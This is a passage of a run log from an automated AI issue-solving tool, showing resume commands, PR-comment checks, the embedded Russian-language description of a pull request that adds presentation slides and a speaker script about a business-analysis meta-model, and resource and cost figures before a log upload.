[INFO] \n[2026-09-29T08:08:04.666Z] [INFO] \ud83d\udca1 To continue this session:\n[2026-09-29T08:08:04.676Z] [INFO]    Interactive mode:    (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --model opus)\n[2026-09-29T08:08:04.685Z] [INFO]    Autonomous mode:     (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --output-format stream-json --dangerously-skip-permissions --model opus -p \"Continue.\")\n[2026-09-29T08:08:04.690Z] [INFO]    Solve resume mode:   \"/home/box/.nvm/versions/node/v24.21.0/bin/node\" \"/home/box/.bun/bin/solve\" \"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\" --resume \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\" --model \"opus\" --fallback-model \"opus-4-8\" --working-directory \"/tmp/gh-issue-solver-1790667776920\"\n[2026-09-29T08:08:04.699Z] [INFO] \n[2026-09-29T08:08:04.890Z] [INFO] \ud83d\udd0d Checking if AI created any comments during session (--auto-attach-solution-summary)...\n[2026-09-29T08:08:05.787Z] [INFO] \ud83d\udd0e Checking comments by 'konard' after session start 2026-09-29T07:43:18.552Z (PR #648, issue #646)\n[2026-09-29T08:08:06.535Z] [INFO]    \ud83d\udce8 PR conversation comments after session start by 'konard' (excluding tool-generated): 0\n[2026-09-29T08:08:07.190Z] [INFO]    \ud83d\udcdd PR review (inline) comments after session start by 'konard': 0\n[2026-09-29T08:08:07.873Z] [INFO]    \ud83d\udce8 Issue comments after session start by 'konard' (excluding tool-generated): 0\n[2026-09-29T08:08:07.879Z] [INFO] \ud83d\udcdd No AI comments detected, attaching working session summary...\n[2026-09-29T08:08:09.657Z] [INFO] \ud83d\udccf Working session summary folded into a \n block\n[2026-09-29T08:08:11.240Z] [INFO] \u2705 Working session summary attached to pr #648 (id=5886243874)\n[2026-09-29T08:08:11.249Z] [INFO] \n[2026-09-29T08:08:11.249Z] [INFO] \ud83d\udd0d Searching for created pull requests or comments...\n[2026-09-29T08:08:11.868Z] [INFO] \n[2026-09-29T08:08:11.868Z] [INFO] \ud83d\udd0d Checking for pull requests from branch issue-646-497e337ac092...\n[2026-09-29T08:08:12.558Z] [INFO]   \u2705 Found pull request #648: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\n[2026-09-29T08:08:13.424Z] [STDOUT] Closes #646\n\n## \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043e\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432 (1\u201310) \u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 `projects/ba-ai-process/docs/presentation/`.\n\n| \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | \u0427\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 |\n|---|---|\n| [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) | 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence. \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0430\u0439\u0434\u0430: \u043d\u043e\u043c\u0435\u0440, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438. \u0415\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0431\u043b\u043e\u043a \u0437\u0430\u0434\u0430\u0447\u0438 \u2192 \u0441\u043b\u0430\u0439\u0434\u00bb, \u043e\u0431\u0449\u0438\u0439 \u0441\u0442\u0438\u043b\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u043a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 |\n| [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) | \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f: \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f, \u0445\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436 \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442, \u043e\u0434\u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u0430\u044f \u043c\u044b\u0441\u043b\u044c, \u0441\u043f\u0438\u0441\u043e\u043a \u0442\u043e\u0433\u043e, \u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c. \u041f\u043e \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0441\u043b\u0430\u0439\u0434\u0443 \u2014 \u0432\u0440\u0435\u043c\u044f, \u0446\u0435\u043b\u044c, \u0442\u0435\u043a\u0441\u0442, \u00ab\u043f\u043e\u0447\u0435\u043c\u0443/\u043a\u0430\u043a\u00bb \u0438 \u043c\u043e\u0441\u0442\u0438\u043a \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0441\u043b\u0430\u0439\u0434\u0443. \u0411\u0430\u043d\u043a \u0438\u0437 11 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f |\n| `projects/ba-ai-process/README.md` | \u0420\u0430\u0437\u0434\u0435\u043b \u00ab\u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\u00bb \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u043e\u0431\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 |\n| `CHANGELOG.md` | \u0417\u0430\u043f\u0438\u0441\u044c \u0432 Unreleased / Added |\n\n\u041a\u0430\u043a \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u0435 \u0431\u043b\u043e\u043a\u0438 \u0437\u0430\u0434\u0430\u0447\u0438 \u043b\u0435\u0433\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u044b:\n\n| \u0411\u043b\u043e\u043a \u0437\u0430\u0434\u0430\u0447\u0438 | \u0421\u043b\u0430\u0439\u0434\u044b |\n|---|---|\n| \u0421\u043a\u043e\u0443\u043f | 1\u20132 |\n| \u0411\u043e\u043b\u044c | 3 |\n| \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 4 |\n| \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | 5 |\n| \u041f\u0440\u043e\u0440\u044b\u0432: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b + \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 fail-closed | 6 |\n| \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\n| \u0421\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u2192 \u0421\u0440\u0435\u0434\u0430 4 | 8, 10 |\n| \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\n\n\u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430: 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (RUN-0001\u2026RUN-0069, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u0432 [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts). \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u0438\u0434\u0451\u0442 \u0442\u0430\u043a: \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u2192 23 \u0444\u0430\u0439\u043b\u0430 \u2192 \u043e\u0442\u043a\u0430\u0442 \u043f\u0440\u0430\u0432\u043e\u043a \u0432 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027 \u2192 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0438\u0435 \u00abevals \u043d\u0435\u0442\u00bb \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c. \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u2014 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u0438 `M-1 = 0.0`. \u042d\u0442\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0430\u0439\u0434\u044b 3\u20134 \u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439.\n\n## \u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438\u0441\u044c \u0444\u0430\u043a\u0442\u044b\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u0432\u0435\u0434\u0451\u0442 \u043a \u0444\u0430\u0439\u043b\u0443-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443. \u0421\u0441\u044b\u043b\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435: \u043d\u0430 `main` \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0438 \u043d\u0430 `mango_ba_prompts`.\n- \u0426\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0435: \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430, RUN-0018.\n- \u0412\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0445\u043e\u0434 \u0441\u0432\u0435\u0440\u0438\u043b \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043f\u043e \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0435 \u0438 \u0437\u0430\u043c\u0435\u0440 `M-1` \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441 ADR-019 \u0438 \u0413-12.\n- \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442: `validate-frontmatter`, `validate-file-naming`, `validate-repository-structure`, `validate-rrp-links`, `generate-manifest --check`, `tools/test-*.sh`.\n\n## \u0420\u0430\u0437\u0440\u044b\u0432\u044b\n| \u2116 | \u0420\u0430\u0437\u0440\u044b\u0432 | \u041a\u0430\u043a \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043e |\n|---|---|---|\n| 1 | \u0412\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 (V-BIZ, V-APPROVE, V-DEV, V-CONTRACT) \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 | \u0421\u043b\u0430\u0439\u0434 7, \u0441\u0442\u0430\u0442\u0443\u0441 \u00ab\u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\u00bb |\n| 2 | \u0421\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 | \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb |\n| 3 | `retrieval_status`, `semantic_review` \u0438 `approval` \u2014 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (\u0413-17) | \u0422\u0430\u043c \u0436\u0435 |\n| 4 | \u00ab\u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f MCP \u043a Jira \u0438 Confluence \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432 (\u0413-12) | \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 |\n| 5 | \u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b `mango_ba_prompts` \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b. \u0422\u043e\u043a\u0435\u043d\u044b RUN-0025 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 RUN-0015 | \u0420\u0430\u043c\u043a\u0430 \u00ab\u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\u00bb \u0438 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 |\n| 6 | \u041e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u0438 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438 \u0421\u0440\u0435\u0434\u044b 4 \u043d\u0435\u0442 | \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043e RFC B-218 |\n| 7 | \u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u044b | \u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u0440\u0430\u0437\u0434\u0435\u043b \u043f\u0440\u043e \u0441\u0442\u0438\u043b\u044c |\n\n## \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0438\u0441\u043a\n\u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u0430\u0451\u0442 \u00ab\u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044e \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb, \u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u0435 Working \u2192 Release. \u0415\u0441\u043b\u0438 \u043d\u0430 \u043f\u043e\u043a\u0430\u0437\u0435 \u043f\u0440\u043e\u0437\u0432\u0443\u0447\u0438\u0442 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u00bb \u0431\u0435\u0437 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0438, \u043f\u0435\u0440\u0432\u0430\u044f \u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\u0439\u0434\u0451\u0442 lorem ipsum, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 n1\u2013n3 (\u0413-29). \u0422\u043e\u0433\u0434\u0430 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0438 \u0441\u0442\u043e\u044f\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 7\u20138 \u0438 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438, \u0430 \u043d\u0435 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438.\n\n## \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 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[`docs/ba-meta-model-overview.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md) \u043e\u0442 2026-09-09 \u2014 \u0440\u0430\u043d\u043d\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043b\u044f \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432. \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0435\u0433\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442; \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f, \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n[2026-09-29T08:08:13.435Z] [INFO]   \u2705 PR body already contains issue reference\n[2026-09-29T08:08:17.666Z] [STDOUT] https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T08:08:17.686Z] [INFO]   \ud83d\udcdd PR description Changes section regenerated from the diff (4 file(s))\n[2026-09-29T08:08:19.504Z] [STDOUT] {\"isDraft\":false,\"state\":\"OPEN\"}\n[2026-09-29T08:08:19.518Z] [INFO]    \ud83d\udd0d PR #648 draft state: isDraft=false, state=OPEN\n[2026-09-29T08:08:19.521Z] [INFO] \u2705 PR status: Already in ready for review\n[2026-09-29T08:08:19.526Z] [INFO] \n[2026-09-29T08:08:19.526Z] [INFO] \ud83d\udcce Uploading solution draft log to Pull Request...\n[2026-09-29T08:08:19.537Z] [STDERR] [use-m] use('fs') joined an in-flight load (alias fs-v-latest)\n[2026-09-29T08:08:19.588Z] [INFO] \ud83d\udcc8 Resource usage (log upload start, 6MB log):\n[2026-09-29T08:08:19.588Z] [INFO]    CPU load: 11.00 10.05 7.85 (6 CPUs)\n[2026-09-29T08:08:19.588Z] [INFO]    Memory: 8.7 GB available / 11.7 GB total (3.0 GB used)\n[2026-09-29T08:08:19.588Z] [INFO]    Process RSS: 176 MB, V8 heap: 73 MB used of 2.2 GB limit (3.3%)\n[2026-09-29T08:08:19.588Z] [INFO]    Disk (/): 97.5 GB available / 192.7 GB total (49.4% used)\n[2026-09-29T08:08:19.588Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=log_upload_start ts=2026-09-29T08%3A08%3A19.578Z load1=11 load5=10.05 load15=7.85 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=9288724480 memUsedBytes=3252760576 processRssBytes=184180736 processHeapUsedBytes=76557648 processHeapTotalBytes=136523776 processExternalBytes=17186296 processHeapLimitBytes=2348810240 processHeapUsedPercent=3.259422438485282 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=104721207296 diskUsedBytes=102162296832 diskUsedPercent=49.377553364531785 mem=8.7%20GB%20available%20%2F%2011.7%20GB%20total heap=73%20MB%20used%20of%202.2%20GB%20limit%20(3.3%25) disk=97.5%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T08:08:20.219Z] [INFO]   \ud83d\udcb0 Calculated cost: $8.859691\n[2026-09-29T08:08:20.222Z] [INFO]   \ud83e\udd16 Actual models used: claude-opus-5-5\n[2026-09-29T08:08:20.233Z] [STDERR] [use-m] use('https') loading (alias https-v-latest)\n[2026-09-29T08:08:20.271Z] [STDERR] [use-m] use('https') loaded in 36ms\n[2026-09-29T08:08:20.635Z] [INFO]   \ud83e\udd16 Model info fetched for comment\n[2026-09-29T08:08:20.639Z] [INFO]   \u23ed\ufe0f  Log is 6MB \u2014 skipping inline comment construction, the log goes straight to gh-upload-log\n[2026-09-29T08:08:20.642Z] [INFO]   \ud83d\udcc1 Log file too large for inline comment (6MB), using gh-upload-log\n[2026-09-29T08:08:20.644Z] [INFO]   \ud83d\udcce Uploading log using gh-upload-log...\n[2026-09-29T08:08:21.285Z] [INFO]   \ud83d\udd0d Repository visibility: public, log upload will be public\n", "creation_timestamp": "2026-09-29T08:08:29.000000Z"}]}